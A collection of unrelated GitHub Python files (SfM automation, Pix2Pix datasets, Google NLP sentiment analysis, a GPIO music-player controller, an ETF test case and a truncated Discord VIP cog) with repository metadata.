{"seq_id":"19728237527","text":"import os\nimport pickle\n\ncurrent_dir = os.path.dirname(os.path.abspath(__file__))\ncounter_path = os.path.join(current_dir, 'res', 'counter.ppo')\n\nf = open(counter_path, 'rb')\noccurencies = pickle.load(f)\nf.close()\n\n_sum = sum([v for v in occurencies.values()])\n\ndef frequency(item):\n    result = occurencies[item] / _sum\n    if result == 0.0:\n        return 0.000000001\n    else:\n        return result\n","repo_name":"Enforcer/sentences_similarity_measures","sub_path":"langs/pl/occ.py","file_name":"occ.py","file_ext":"py","file_size_in_byte":402,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"42366435527","text":"import os\nfrom time import sleep\nfrom mp4tojpg import mp4_to_jpg\nimport readSfMData\nfrom file_op import log_data,rar_data\nfrom pt_data_preprocess import data_preprocess\nfrom utils.constant_func import *\n\ndef vname_to_vdata(vname:str) -> str:\n    return \"image_\"+vname[:-4]\n\ndef copy_imu(root,vname):\n    os.chdir(root)\n    if not oe(oj(root,\"imu_data\")):\n        os.mkdir(oj(root,\"imu_data\"))\n    os.chdir(oj(root,\"imu_data\"))\n\n    f_ls = ls(\".\")\n    for f in f_ls:\n        if vname[:-4] in f:\n            cmd = f\"move \\\"{f}\\\" ../{vname_to_vdata(vname)}/data\"\n            print(cmd)\n            os.system(cmd)\n            break\n    os.chdir(root)\n\ndef autosfm(root,vedio_ls,space=1):\n    for vedio in vedio_ls:\n        mp4_to_jpg(root,vedio,space=space)\n        workspace = oj(root,\"image_\"+vedio[:-4])\n        os.chdir(workspace)\n        cmd = \"VisualSFM sfm+pmvs . sparse.nvm  dense.nvm\"\n        os.system(cmd)\n        readSfMData.save_dense_restuction(root,vedio)\n        copy_imu(root,vedio)\n        pixel_a,pixel_b = log_data(root,vedio)\n        data_preprocess(root,vedio,pixel_a,pixel_b)\n        rar_data(root,vedio)\n\ndef data_after_sfm(root,vedio_ls):\n    for vedio in vedio_ls:\n        readSfMData.save_dense_restuction(root,vedio)\n        copy_imu(root,vedio)\n        pixel_a,pixel_b = log_data(root,vedio)\n        data_preprocess(root,vedio,pixel_a,pixel_b)\n        rar_data(root,vedio)\n\n\nif __name__ == \"__main__\":\n    root = \"D:\\\\Code\\\\DataSet\\\\gogo\"\n    vedio_dir = \"vedios\"\n    os.chdir(root)\n    if not oe(vedio_dir):\n        os.mkdir(vedio_dir)\n    vedio_ls = os.listdir(oj(vedio_dir))\n    vedio_ls = [v for v in vedio_ls if \"processed\" not in v]\n    vedio_data_ls = [\"image_\"+v[:-4] for v in vedio_ls]\n    print(vedio_ls)\n\n    # vedio_ls = [\"eli-rand100.mp4\"]\n    autosfm(root,vedio_ls,space=1)\n    # data_after_sfm(root,vedio_ls)","repo_name":"lagrange10/DeepLearning","sub_path":"Week7_8_PoseNet_and_Semantic/src/autosfm.py","file_name":"autosfm.py","file_ext":"py","file_size_in_byte":1848,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"19870710573","text":"import glob\nimport random\nimport os\nimport numpy as np\n\nfrom torch.utils.data import Dataset\nfrom torch.utils.data import DataLoader\nfrom PIL import Image\nimport torchvision.transforms as transforms\n\n'''---------------------------------------------add new code --------------------------------------------'''\nimport pandas as pd\nfrom config import config\n'''---------------------------------------------add new code --------------------------------------------'''\n\nopt = config\n\nclass ImageDataset(Dataset):\n    def __init__(self, root, transforms_=None, mode=\"train\"):\n        self.transform = transforms.Compose(transforms_)\n\n        self.files = sorted(glob.glob(os.path.join(root, mode) + \"/*.*\"))\n        if mode == \"train\":\n            self.files.extend(sorted(glob.glob(os.path.join(root, \"test\") + \"/*.*\")))\n\n    def __getitem__(self, index):\n\n        img = Image.open(self.files[index % len(self.files)])\n        w, h = img.size\n        img_A = img.crop((0, 0, w / 2, h))\n        img_B = img.crop((w / 2, 0, w, h))\n\n        if np.random.random() < 0.5:\n            img_A = Image.fromarray(np.array(img_A)[:, ::-1, :], \"RGB\")\n            img_B = Image.fromarray(np.array(img_B)[:, ::-1, :], \"RGB\")\n\n        img_A = self.transform(img_A)\n        img_B = self.transform(img_B)\n\n        return {\"A\": img_A, \"B\": img_B}\n\n    def __len__(self):\n        return len(self.files)\n\n\n'''---------------------------------------------add new code --------------------------------------------'''\nclass SingleImageDataset(Dataset):\n    def __init__(self, root, transforms_=None, mode=\"val\"):\n        self.transform = transforms.Compose(transforms_)\n\n        self.files = sorted(glob.glob(os.path.join(root, mode) + \"/*.*\"))\n\n    def __getitem__(self, index):\n\n        img = Image.open(self.files[index % len(self.files)])\n\n        img = self.transform(img)\n\n        return img\n\n    def __len__(self):\n        return len(self.files)\n'''---------------------------------------------add new code --------------------------------------------'''\n\n\n\n'''---------------------------------------------add new code --------------------------------------------'''\nclass ReadCsvImageDataSet(Dataset):\n    def __init__(self,csv_file_path_, image_container_, transforms_, image_format_=None, mode='train', validation_index_=None):\n\n        self.csv_flie_path = csv_file_path_\n        self.image_container = image_container_\n        self.image_format = image_format_\n        self.transforms = transforms.Compose(transforms_)\n        self.condition = mode\n        self.validation_index = validation_index_\n\n        self.image_paths = None\n        self.vf_patch_paths = None\n        self.labels = None\n        self.fold_index = None\n        self.label_names = None\n        self.select_indices = None\n\n\n        self.df = self._read_csv()\n\n        self.image_A_paths = self.df[\"Image\"]\n        self.image_B_paths = self.df[\"Mask\"]\n        self.labels = self.df[\"Label\"]\n        self.fold_index = self.df[\"FoldIndex\"]\n\n\n        self._check_img_A()\n        self._check_img_B()\n\n        self._set_select_indices_by_validation_index()\n        self._set_data_by_validation_index()\n\n    def __getitem__(self, item):\n        '''\n        Retrieve item in dataset, including reading images & transforming images\n        :param item: index for retrieving items\n        :return:\n            data_dict: <dict> the dictionary containing data (Keys: Image, Label)\n        '''\n\n        img_A = Image.open(self.image_A_paths[item]).convert('RGB')\n        img_B = Image.open(self.image_B_paths[item]).convert('RGB')\n\n        ### let mask become 0 and 255 ###\n        # img_B = np.array(img_B)\n        # img_B[img_B <= 100] = 0\n        # img_B[img_B > 100] = 255\n        # img_B = Image.fromarray(img_B)\n        ### let mask become 0 and 255 ###\n\n\n        ### Random horizontal flip ###\n        if random.random() < 0.5:\n            img_A = Image.fromarray(np.array(img_A)[:, ::-1, :], \"RGB\")\n            img_B = Image.fromarray(np.array(img_B)[:, ::-1, :], \"RGB\")\n        ### Random horizontal flip ###\n\n        ### train ###\n        if self.condition.strip() in [\"train\", \"Train\", \"TRAIN\"]:\n            ### Resize ###\n            resize = transforms.Resize(size=(opt.img_height, opt.img_width))\n            img_A = resize(img_A)\n            img_B = resize(img_B)\n            ### Resize ###\n\n            ### Random crop ###\n            # i, j, h, w = transforms.RandomCrop.get_params(img_A, output_size=(opt.img_crop_height, opt.img_crop_width))\n            # img_A = transforms.functional.crop(img_A, i, j, h, w)\n            # img_B = transforms.functional.crop(img_B, i, j, h, w)\n            ### Random crop ###\n\n            # if random.random() < 0.5:\n                ### Random rotate ###\n                # random_angle = random.randint(-90, 90)\n                # img_A = img_A.rotate(random_angle)\n                # img_B = img_B.rotate(random_angle)\n                ### Random rotate ###\n\n        ### data augmentation ###\n\n        img_A = self.transforms(img_A)\n        img_B = self.transforms(img_B)\n\n        # return {\"A\": img_A, \"B\": img_B, \"A_path\": self.image_A_paths[item], \"B_path\": self.image_B_paths[item]}\n        return {\"A\": img_A, \"B\": img_B}\n\n\n    def __len__(self):\n        return len(self.image_A_paths)\n\n\n    def _check_img_A(self):\n        '''\n        Check whether images exist in folder or not\n        Note: all images should be in image container\n        '''\n\n        # check whether image format is already embedded in image paths (check \".\")\n        if self.image_format is None and \".\" not in self.image_A_paths[0]:\n\n            raise FileNotFoundError(\"There no image format specified in image path {}. \"\n                                    \"Please specifiy image format\".format(self.image_A_paths[0]))\n        elif self.image_format is not None and \".\" not in self.image_A_paths[0]:\n\n            print(\"Concatenate image format into image paths ...\")\n\n            self.image_A_paths = np.array([os.path.join(self.image_container,\n                                                      image_path+\".\"+self.image_format)\n                                         for image_path in self.image_A_paths])\n        else:\n            self.image_A_paths = np.array([os.path.join(self.image_container,\n                                                      image_path) for image_path in self.image_A_paths])\n\n        for path in self.image_A_paths:\n\n            if not os.path.isfile(path):\n\n                raise FileNotFoundError(\"Image file - {} not found! Please check!\".format(path))\n\n        print(\"All images exist in folder - {}\".format(self.image_container))\n\n\n    def _check_img_B(self):\n        '''\n        Check whether images exist in folder or not\n        Note: all images should be in image container\n        '''\n\n        # check whether image format is already embedded in image paths (check \".\")\n        if self.image_format is None and \".\" not in self.image_B_paths[0]:\n\n            raise FileNotFoundError(\"There no image format specified in image path {}. \"\n                                    \"Please specifiy image format\".format(self.image_B_paths[0]))\n        elif self.image_format is not None and \".\" not in self.image_B_paths[0]:\n\n            print(\"Concatenate image format into image paths ...\")\n\n            self.image_B_paths = np.array([os.path.join(self.image_container,\n                                                      image_path+\".\"+self.image_format)\n                                         for image_path in self.image_B_paths])\n        else:\n            self.image_B_paths = np.array([os.path.join(self.image_container,\n                                                      image_path) for image_path in self.image_B_paths])\n\n        for path in self.image_B_paths:\n\n            if not os.path.isfile(path):\n\n                raise FileNotFoundError(\"Image file - {} not found! Please check!\".format(path))\n\n        print(\"All images exist in folder - {}\".format(self.image_container))\n\n\n\n    def _set_select_indices_by_validation_index(self):\n        '''\n        Select images by validation index and fold index depending on condition (Train / Validation / Test)\n        :return:\n        '''\n\n        if self.validation_index is not None and self.fold_index is not None:\n\n            if self.condition.strip() in [\"train\", \"Train\", \"TRAIN\"]:\n\n                indices = self.fold_index != self.validation_index\n\n            else:\n\n                indices = self.fold_index == self.validation_index\n\n            self.select_indices = indices\n\n    def _set_data_by_validation_index(self):\n        '''\n        Select images by validation index and fold index depending on condition (Train / Validation / Test)\n        :return:\n        '''\n\n        if self.select_indices is not None:\n\n            self.image_A_paths = self.image_A_paths[self.select_indices]\n            self.image_B_paths = self.image_B_paths[self.select_indices]\n            self.labels = self.labels[self.select_indices] if self.labels is not None else None\n            self.label_names = self.label_names[self.select_indices] if self.label_names is not None else None\n\n    def _read_csv(self):\n        try:\n\n            df = pd.read_csv(self.csv_flie_path)\n\n            return df\n\n        except FileNotFoundError as e:\n            print(e, \"\\nPlease check the csv filepath!\")\n\n'''---------------------------------------------add new code --------------------------------------------'''\n\n\n'''---------------------------------------------add new code --------------------------------------------'''\nclass DataAugmentationImageDataset(Dataset):\n    def __init__(self, root, transforms_=None, mode=\"train\"):\n        self.transform = transforms.Compose(transforms_)\n\n        self.files = sorted(glob.glob(os.path.join(root, mode) + \"/*.*\"))\n        if mode == \"train\":\n            self.files.extend(sorted(glob.glob(os.path.join(root, \"test\") + \"/*.*\")))\n\n    def __getitem__(self, index):\n\n        img = Image.open(self.files[index % len(self.files)])\n        w, h = img.size\n        img_A = img.crop((0, 0, w / 2, h))\n        img_B = img.crop((w / 2, 0, w, h))\n\n        if random.random() < 0.5:\n            img_A = Image.fromarray(np.array(img_A)[:, ::-1, :], \"RGB\")\n            img_B = Image.fromarray(np.array(img_B)[:, ::-1, :], \"RGB\")\n\n\n        if random.random() < 0.5:\n            ### Random rotate ###\n            random_angle = random.randint(-90, 90)\n            img_A = img_A.rotate(random_angle)\n            img_B = img_B.rotate(random_angle)\n            ### Random rotate ###\n\n        img_A = self.transform(img_A)\n        img_B = self.transform(img_B)\n\n        return {\"A\": img_A, \"B\": img_B}\n\n    def __len__(self):\n        return len(self.files)\n'''---------------------------------------------add new code --------------------------------------------'''\n\n\n'''---------------------------------------------add new code --------------------------------------------'''\nif __name__ == \"__main__\":\n    train_csv_file = \"wound_20190620/list.csv\"\n    img_container = 'wound_20190620'\n\n    # Configure dataloaders\n    transforms_ = [\n        transforms.Resize((256, 256), Image.BICUBIC),\n        transforms.ToTensor(),\n        transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5)),\n    ]\n\n    train_dataset = ReadCsvImageDataSet(csv_file_path_=train_csv_file,\n                                        transforms_=transforms_,\n                                        image_container_=img_container,\n                                        mode='train',\n                                        validation_index_=5)\n\n    # train_dataset = ImageDataset(\"../../data/facades\", transforms_=transforms_)\n\n    train_loader = DataLoader(dataset=train_dataset,\n                              batch_size=1,\n                              shuffle=True,\n                              num_workers=8)\n\n\n    data_dict = next(iter(train_loader))\n    print(data_dict)\n'''---------------------------------------------add new code --------------------------------------------'''\n\n\n","repo_name":"LinRenHong/Pix2Pix_RenHong","sub_path":"datasets.py","file_name":"datasets.py","file_ext":"py","file_size_in_byte":12051,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"3534345955","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@author: Hae-in Lim, haeinous@gmail.com\nf\n\"\"\"\nimport os, sys, requests, httplib2, statistics\n\nfrom model import connect_to_db, db, TextAnalysis, Video, Tag, TagVideo, Channel, TagChannel\nfrom sqlalchemy import exc\n \nfrom googleapiclient import discovery\nfrom googleapiclient.errors import HttpError\n\nGOOGLE_KEY = os.environ.get('GOOGLE_KEY')\nNLP_URL = 'https://language.googleapis.com/v1/documents:analyzeSentiment'\n\ndef call_nlp_api(text):\n    \"\"\"Assume text is a string from one of a video or channel's textfields.\n    Call the NLP API and return the sentiment analysis.\"\"\"\n\n    discovery_url = 'https://{api}.googleapis.com/$discovery/rest?version={apiVersion}'\n    service = discovery.build('language',   \n                              'v1',\n                              http=httplib2.Http(),\n                              discoveryServiceUrl=discovery_url,\n                              developerKey=GOOGLE_KEY)\n    service_request = service.documents().annotateText(\n        body = {'document': \n                    {'type': 'PLAIN_TEXT',\n                     'content': text},\n                'features': \n                    {'extractDocumentSentiment': True},\n                'encodingType': 'UTF8' if sys.maxunicode == 2047 else 'UTF32'\n                })\n\n    try:\n        nlp_response = service_request.execute()\n    except HttpError as e:\n        nlp_response = {'error': e}\n        print(text, nlp_response)\n\n    return nlp_response\n\n\ndef calculate_variation(sentences):\n    \"\"\"If the text field consists of multiple sentences, calculate standard \n    deviation as well as the maximum and minim for the sentiment scores.\"\"\"\n    scores = []\n\n    for sentence in sentences:\n        scores.append(sentence['sentiment']['score'])\n\n    standard_deviation = round(statistics.stdev(scores),1)\n    maximum = max(scores)\n    minimum = min(scores)\n\n    return [standard_deviation, maximum, minimum]\n\n\ndef add_to_db(nlp_response, youtube_id=None, textfield=None):\n    \"\"\"Assume nlp_response is dictionary of the JSON returned by the NLP API.\n    Parse nlp_response and add data to the text_analyses table in db.\"\"\"\n\n    if 'error' in nlp_response:\n        if len(youtube_id) == 11:\n            text_analysis = TextAnalysis(video_id=youtube_id,\n                                         textfield='error')\n        else:\n            text_analysis = TextAnalysis(channel_id=youtube_id,\n                                         textfield='error')\n        db.session.add(text_analysis)\n        try:\n            db.session.commit()\n        except (Exception, exc.SQLAlchemyError, exc.InvalidRequestError, exc.IntegrityError) as e:\n            print(youtube_id + '\\n' + str(e))\n            db.session.rollback()\n        \n    sentiment_score = nlp_response['documentSentiment']['score']\n    sentiment_magnitude = nlp_response['documentSentiment']['magnitude']\n    if len(nlp_response['language']) < 5:\n        language_code = nlp_response['language']\n    else:\n        language_code = nlp_response['language'][:4]\n\n    if len(nlp_response['sentences']) > 1:\n        standard_deviation, maximum, minimum = calculate_variation(nlp_response['sentences'])\n    else:\n        standard_deviation, maximum, minimum = None, None, None\n\n    if len(youtube_id) == 11:\n        video_id = youtube_id\n        channel_id = None\n    else:\n        channel_id = youtube_id\n        video_id = None\n\n    text_analysis = TextAnalysis(video_id=video_id,\n                                 channel_id=channel_id,\n                                 textfield=textfield,\n                                 sentiment_score=sentiment_score,\n                                 sentiment_magnitude=sentiment_magnitude,\n                                 sentiment_score_standard_deviation=standard_deviation,\n                                 sentiment_max_score=maximum,\n                                 sentiment_min_score=minimum,\n                                 language_code=language_code)\n    db.session.add(text_analysis)\n\n    try:\n        db.session.commit()\n    except (Exception, exc.SQLAlchemyError, exc.InvalidRequestError, exc.IntegrityError) as e:\n        print(youtube_id + '\\n' + str(e))\n        db.session.rollback()\n\n\ndef analyze_sentiment(youtube_id):\n    \"\"\"Call the Google NLP API, parse response, and add sentiment information \n    to the text_analyses table.\"\"\"\n\n    if len(youtube_id) == 11:\n        # Determine which videos need to their titles analyzed\n        add_to_db(\n            call_nlp_api(\n                Video.query.filter(Video.video_id == youtube_id\n                          ).first(\n                          ).video_title), \n                youtube_id, \n                'video_title')\n\n        # Determine which videos need their descriptions analyzed\n        add_to_db(\n            call_nlp_api(\n                Video.query.filter(Video.video_id == youtube_id\n                          ).first(\n                          ).video_description), \n                youtube_id, \n                'video_description')\n\n        # Determine which videos need their descriptions analyzed\n        # video_tag_query = Tag.query.join(TagVideo).filter(TagVideo.video_id == youtube_id).all()\n\n        # if len(video_tag_query) > 5:\n        #     video_tags = str([tag.tag for tag in video_tag_query])[1:-1]\n        #     add_to_db(call_nlp_api(video_tags), youtube_id, 'video_tags')\n\n    else:\n        # Analyze channel description\n        add_to_db(\n            call_nlp_api(\n                Channel.query.filter(Channel.channel_id == youtube_id\n                            ).first(\n                            ).channel_description), \n                youtube_id, \n                'channel_description')\n\n        # channel_tag_query = Tag.query.join(TagChannel).filter(TagChannel.channel_id == youtube_id).all()\n\n        # if len(channel_tag_query) > 5:\n        #     channel_tags = str([tag.tag for tag in channel_tag_query])[1:-1]\n        #     add_to_db(call_nlp_api(channel_tags), youtube_id, 'channel_tags')\n\n\nif __name__ == '__main__':\n\n    from server import app\n    connect_to_db(app)\n    app.app_context().push()\n","repo_name":"haeinous/youtube-data","sub_path":"api_text.py","file_name":"api_text.py","file_ext":"py","file_size_in_byte":6157,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"38093636871","text":"#!/usr/bin/python2\n\n\"\"\"RotarySwitch for mpd control.\"\"\"\n\n\nimport os\nimport select\nimport subprocess\nimport time\nimport logging\nimport traceback\nimport signal\nimport sys\n\n\nclass MPD():\n\n    \"\"\" mpd controller.\"\"\"\n\n    def __init__(self, logger):\n        \"\"\"Initialize thread.\"\"\"\n        self.logger = logger if logger else logging\n        self.playlist = []\n\n    def prev_album(self):\n        \"\"\"Play prev album song.\"\"\"\n        self.logger.info(\"prev album\")\n        playlist = self.get_playlist()\n        pos = self.get_position()\n        current_album = playlist[pos]['album']\n        self.logger.info(\"current album: %s\" % current_album)\n        for prev_count, song in enumerate(reversed(playlist[:pos])):\n            if prev_count == 0 and not current_album == song['album']:\n                self.logger.info(\"detect current song is head in album.\")\n                current_album = song['album']\n                self.logger.info(\"set current album: %s\" % current_album)\n                continue\n            if not current_album == song['album']:\n                new_pos = pos - prev_count + 1\n                subprocess.check_output(\n                    ['/usr/bin/mpc', 'play', str(new_pos)])\n                self.logger.info(\"play %i\" % new_pos)\n                return\n        subprocess.check_output(\n            ['/usr/bin/mpc', 'play', '1'])\n\n    def prev(self):\n        \"\"\"Play prev song.\"\"\"\n        self.logger.info(\"prev\")\n        subprocess.check_output(\n            ['/usr/bin/mpc', 'prev'])\n\n    def pause(self):\n        \"\"\"Pause song.\"\"\"\n        self.logger.info(\"pause\")\n        subprocess.check_output(\n            ['/usr/bin/mpc', 'pause'])\n\n    def play(self):\n        \"\"\"Play song.\"\"\"\n        self.logger.info(\"play\")\n        subprocess.check_output(\n            ['/usr/bin/mpc', 'play'])\n\n    def next(self):\n        \"\"\"Play next song.\"\"\"\n        self.logger.info(\"next\")\n        subprocess.check_output(\n            ['/usr/bin/mpc', 'next'])\n\n    def next_album(self):\n        \"\"\"Play prev album song.\"\"\"\n        self.logger.info(\"next album\")\n        playlist = self.get_playlist()\n        pos = self.get_position()\n        current_album = playlist[pos]['album']\n        self.logger.info(\"current album: %s\" % current_album)\n        for next_count, song in enumerate(playlist[pos:]):\n            if not current_album == song['album']:\n                self.logger.info(\"new album: %s\" % song['album'])\n                new_pos = pos + next_count + 1\n                subprocess.check_output(\n                    ['/usr/bin/mpc', 'play', str(new_pos)])\n                self.logger.info(\"play %i\" % new_pos)\n                return\n        subprocess.check_output(\n            ['/usr/bin/mpc', 'play', '1'])\n\n    def get_playlist(self):\n        \"\"\"Return playlist.\"\"\"\n        out = subprocess.check_output(\n            ['/usr/bin/mpc', 'playlist', '-f', '%album%'])\n        return [{'album': i} for i in out.splitlines()]\n\n    def get_position(self):\n        \"\"\"Return playlist playing position.\"\"\"\n        out = subprocess.check_output(\n            ['/usr/bin/mpc', '-f', '%position%'])\n        return int(out.splitlines()[0]) - 1\n\n\nclass App(object):\n\n    \"\"\"RotarySwitch for mpd control.\"\"\"\n\n    def __init__(self, prev_album, prev, pause, play, next, next_album,\n                 logger=None):\n        \"\"\"Open gpio for prev/play/next button.\"\"\"\n        self.mpd = MPD(logger)\n        self.logger = logger if logger else logging\n        self.logger.info(\"start app\")\n        self._prev_album = prev_album\n        self._prev = prev\n        self._pause = pause\n        self._play = play\n        self._next = next\n        self._next_album = next_album\n        self._last = self._pause\n        signal.signal(signal.SIGTERM, self.exit)\n        signal.signal(signal.SIGINT, self.exit)\n\n    def exit(self, signum, frame):\n        \"\"\"display of when exit app.\"\"\"\n        self.logger.info(\"stop app\")\n        sys.exit(0)\n\n    def _gpio_read(self, f):\n        \"\"\"read gpio value.\"\"\"\n        f.seek(0)\n        out = f.read().strip()\n        return out\n\n    def run(self):\n        \"\"\"Wait gpio value is changed.\"\"\"\n        epoll = select.epoll()\n        epoll.register(self._prev_album,\n                       select.EPOLLIN | select.EPOLLET)\n        epoll.register(self._prev,\n                       select.EPOLLIN | select.EPOLLET)\n        epoll.register(self._pause,\n                       select.EPOLLIN | select.EPOLLET)\n        epoll.register(self._play,\n                       select.EPOLLIN | select.EPOLLET)\n        epoll.register(self._next,\n                       select.EPOLLIN | select.EPOLLET)\n        epoll.register(self._next_album,\n                       select.EPOLLIN | select.EPOLLET)\n        try:\n            while True:\n                try:\n                    time.sleep(0.1)\n                    for fileno, event in epoll.poll():\n                        if self._gpio_read(self._prev_album) == '1':\n                            if not self._last == self._prev_album:\n                                self.mpd.prev_album()\n                            self._last = self._prev_album\n                        if self._gpio_read(self._prev) == '1':\n                            if self._last not in [self._prev_album,\n                                                  self._prev]:\n                                self.mpd.prev()\n                            self._last = self._prev\n                        if self._gpio_read(self._pause) == '1':\n                            if (self._last not in [self._prev,\n                                                   self._prev_album]):\n                                self.mpd.pause()\n                            self._last = self._pause\n                        if self._gpio_read(self._play) == '1':\n                            self.mpd.play()\n                            self._last = self._play\n                        if self._gpio_read(self._next_album) == '1':\n                            if not self._last == self._next_album:\n                                self.mpd.next_album()\n                            self._last = self._next_album\n                        if self._gpio_read(self._next) == '1':\n                            if self._last not in [self._next,\n                                                  self._next_album]:\n                                self.mpd.next()\n                            self._last = self._next\n\n                except subprocess.CalledProcessError:\n                    time.sleep(1)\n                except IndexError:\n                    time.sleep(1)\n        finally:\n            epoll.unregister(self._prev_album)\n            epoll.unregister(self._prev)\n            epoll.unregister(self._pause)\n            epoll.unregister(self._play)\n            epoll.unregister(self._next)\n            epoll.unregister(self._next_album)\n\n\ndef gpio_open(port, mode='r', register='', edge='none', active_low='0'):\n    \"\"\"Open gpio file.\"\"\"\n    if mode not in ['r', 'w']:\n        raise Exception('unimplemented mode: %s' % mode)\n    if edge not in ['none', 'rising', 'falling', 'both']:\n        raise Exception('rtfm')\n    port = str(port)\n    if os.path.exists('/sys/class/gpio/gpio%s' % port):\n        with open('/sys/class/gpio/unexport', 'w') as f:\n            f.write(port)\n    with open('/sys/class/gpio/export', 'w') as f:\n        f.write(port)\n    if mode == 'r':\n        with open('/sys/class/gpio/gpio%s/direction' % port, 'w') as f:\n            f.write('in')\n        if register:\n            with open('/sys/class/gpio/gpio%s/direction' % port, 'w') as f:\n                f.write(register)\n    elif mode == 'w':\n        with open('/sys/class/gpio/gpio%s/direction' % port, 'w') as f:\n            f.write('out')\n\n    with open('/sys/class/gpio/gpio%s/edge' % port, 'w') as f:\n        f.write(edge)\n    with open('/sys/class/gpio/gpio%s/active_low' % port, 'w') as f:\n        f.write(active_low)\n\n    return open('/sys/class/gpio/gpio%s/value' % port, mode)\n\n\ndef main():\n    \"\"\"Run app mainloop.\"\"\"\n    logging.basicConfig(\n        filename='/var/log/mpd-button.log',\n        format='[%(levelname)s] %(asctime)s [%(name)s] %(message)s',\n        datefmt='%Y/%m/%d %H:%M:%S',\n        level=logging.DEBUG)\n    logger = logging.getLogger(__name__)\n    prev_album = gpio_open(22, edge='rising')\n    prev = gpio_open(10, edge='rising')\n    pause = gpio_open(9, edge='rising')\n    play = gpio_open(11, edge='rising')\n    next = gpio_open(23, edge='rising')\n    next_album = gpio_open(24, edge='rising')\n    sw = App(prev_album, prev, pause, play, next, next_album, logger)\n    sw.run()\n\nif __name__ == '__main__':\n    main()\n","repo_name":"meiraka/deploy-home","sub_path":"bin/mpd-button.py","file_name":"mpd-button.py","file_ext":"py","file_size_in_byte":8629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"20887242862","text":"import unittest\n\nfrom config import PathConfig\nfrom database.oracle_database import OracleDatabase\nfrom log.logger import logger\nfrom public_method.base_action import BaseAction\nfrom public_method.dbf_operation import creat_new_dbf\n\n\nclass EtfSplitXL(unittest.TestCase):\n    \"\"\"\n    ETF拆分 限售股拆分\n    \"\"\"\n    yaml = BaseAction().read_yaml(PathConfig().hu_a())['EtfSplit']['XL']\n\n    def test_etfsplitxl(self):\n        \"\"\"\n        ETF拆分 限售股拆分\n        :return:\n        \"\"\"\n        logger().info('-------------------------------')\n        logger().info('开始执行：ETF拆分 限售股拆分 准备数据')\n        dbf_path = self.yaml['dbfPath']\n        dbf_result = creat_new_dbf(dbf_path)\n        if not dbf_result:\n            logger().info('dbf文件数据准备完成')\n        else:\n            logger().error('dbf文件数据准备异常，：{}'.format(dbf_result))\n            assert False, dbf_result\n        sql_path = self.yaml['sqlPath']\n        sql = BaseAction().read_sql(sql_path)\n        oracle = OracleDatabase()\n        sql_result = oracle.update_sql(*sql)\n        if not sql_result:\n            logger().info('ETF拆分 限售股拆分 准备数据完成')\n            assert True\n        else:\n            logger().error('ETF拆分 限售股拆分 准备数据异常')\n            assert False, sql_result\n\n\nif __name__ == '__main__':\n    unittest.main()\n","repo_name":"jiaozhenpeng/source","sub_path":"test_case/test_hu_a/test_etf_split/test_etf_split_xl.py","file_name":"test_etf_split_xl.py","file_ext":"py","file_size_in_byte":1403,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"3367533790","text":"import discord\nfrom discord.ext import commands\nfrom discord.ext.commands import has_permissions, bot_has_permissions, BotMissingPermissions, MissingPermissions\nimport datetime\nimport asyncio\nimport json\nimport aiohttp\nfrom mongoconnection.vip import *\n\nc = open(\"../config.json\")\nconfig = json.load(c)\n\nl = open(\"../link.json\")\nlink = json.load(l)\n\nintents = discord.Intents.default()\nintents.members = True\n\nprefix = config[\"prefix\"]\nbot = commands.Bot(command_prefix = prefix, intents=intents,  case_insensitive = True)\n\ndef cooldown(rate, per_sec = 0, per_min = 0, per_hour = 0, type = commands.BucketType.default):\n    return commands.cooldown(rate, per_sec + 60 * per_min + 3600 * per_hour, type)\n\nvipNames = [\"Ametista\", \"Jade\", \"Safira\"]\nvipRoles = [1051948366461939744, 1047268770504253561, 1047268807812595802]\nvipEmojis = [\"<a:ab_PurpleDiamond:938883672717787196>\", \"<a:ab_GreenDiamond:938880803692240927>\", \"<a:ab_BlueDiamond:938850305083314207>\"]\n\nbot.ses = aiohttp.ClientSession()\nclass cog_vip(commands.Cog):\n    def __init__(self, bot):\n        self.bot = bot\n    \n    @commands.command(name = \"vip\", aliases = [\"vippe\"], pass_context = True)\n    @cooldown(1, 3, type = commands.BucketType.user)\n    async def vip(self, ctx):\n        try:\n            dbname = getDatabase()\n            collectionName = dbname[\"vip\"]\n            vip = collectionName.find_one({\"User\": ctx.author.id})\n            print(vip)\n            if vip == None:\n                noVip = discord.Embed(\n                    title = f\"Sem VIP!\",\n                    description = f\"『❌』Você não possui um plano VIP ativo no momento. Confira todos os benefícios de se tornar um VIP em <#1047316824976523354>\",\n                    color = 0xFF0000\n                )\n                noVip.set_thumbnail(url = link[\"error\"])\n                noVip.set_footer(text = f\"Pedido por {ctx.author.name}\", icon_url = ctx.author.display_avatar.url)\n                await ctx.reply(embed = noVip)\n                return\n            vipEmbed = discord.Embed(\n                color = discord.Color.from_rgb(200, 20, 255)\n            )\n            vipRole = discord.utils.get(self.bot.get_guild(ctx.guild.id).roles, id = int(vipRoles[vip[\"Vip\"]]))\n            if vip[\"Role\"] != None:\n                roleFound = discord.utils.get(self.bot.get_guild(ctx.guild.id).roles, id = int(vip[\"Role\"]))\n                userRole = roleFound.mention\n            else:\n                userRole = \"`Nenhum`\"\n            if vip[\"Channel\"] != None:\n                foundChannel = discord.utils.get(self.bot.get_guild(ctx.guild.id).voice_channels, id = int(vip[\"Channel\"]))\n                userChannel = foundChannel.mention\n            else:\n                userChannel = \"`Nenhum`\"\n            if len(vip[\"Friends\"]) == 0:\n                userFriends = \"`Nenhum`\"\n            else:\n                f = []\n                for friend in vip[\"Friends\"]:\n                    user = await self.bot.fetch_user(int(friend))\n                    f.append(f\"{user.mention}\")\n                userFriends = \"\\n\".join(f)\n            vipEmbed.set_author(name = f\"『💎』VIP:\", icon_url = self.bot.user.display_avatar.url)\n            vipEmbed.add_field(name = f\"『💎』VIP atual:\", value = f\"{vipRole.mention}\", inline = False)\n            vipEmbed.add_field(name = f\"『⏰』Termina em:\", value = f\"<t:{vip['EndsAt']}>\", inline = False)\n            vipEmbed.add_field(name = f\"『💼』Seu cargo:\", value = userRole, 